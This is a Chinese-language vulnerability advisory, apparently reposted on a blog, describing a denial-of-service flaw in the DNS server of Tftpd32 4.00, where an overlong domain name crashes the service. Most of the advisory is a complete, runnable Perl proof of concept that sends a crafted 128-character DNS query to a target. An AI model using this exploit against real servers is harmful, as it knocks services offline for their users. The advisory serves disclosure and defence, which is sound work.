tftpd32Linux,Tftpd32 DNS服务器拒绝服务漏洞

发布日期:2012-05-28

更新日期:2012-05-29

受影响系统:

TFTPD32 TFTPD32 4.00

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 53704

Tftpd32是Windows平台上的TFTP和DHCP服务器。

TFTPD32 4.00之前版本在实现上存在拒绝服务漏洞,DNS服务器绑定了UDP端口53,但没有验证域选项大小,在发送超过127个字符时,攻击者可利用此漏洞造成服务器崩溃。

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

demonalex ()提供了如下测试方法:

Proof Of Concept :

-----------------------------------------------------------

#!/usr/bin/perl

use IO::Socket;

use Socket;

use Math::BigInt;

$|=1;

$host=shift;

$port=shift || '53';

die "usage: $0 \$host [\$port]\n" if(!defined($host));

$target_ip = inet_aton($host);

$target = sockaddr_in($port, $target_ip);

$crash='A'x128;

$transaction_id_count=1;

sub dns_struct_pack($){

$domain=shift;                  #domain

$type="\x00\xff";               #dns_type = ANY

$transaction_id_count=1 if($transaction_id_count > 255);

$x=Math::BigInt->new($transaction_id_count);

$x=~s/0x//;

$transaction_id=sprintf("\x00".chr($x));

$flag="\x01\x00";

$question="\x00\x01";

$answer_rrs="\x00\x00";

$authority_rrs="\x00\x00";

$additional_rrs="\x00\x00";

if($domain ne '0'){

undef($domain_length);

$domain_length=length($domain);

$y=Math::BigInt->new($domain_length);

$y=~s/0x//;

$domain_length=chr($y);

}

$class="\x00\x01";                    #IN

$transaction_id_count++;

if($domain eq '0'){

$packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."\x00"."$type"."$class";

}else{

$packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."$domain_length"."$domain".

"\x00"."$type"."$class";

}

return $packet_struct;

}

print "Launch attack ... ";

socket(SOCK1, AF_INET, SOCK_DGRAM, 17);

send(SOCK1, &dns_struct_pack($crash), 0, $target);

close(SOCK1);

print "Finish!\n";

exit(0);

-----------------------------------------------------------

建议:

--------------------------------------------------------------------------------

厂商补丁:

TFTPD32

-------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

0b1331709591d260c1c78e86d0c51c18.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值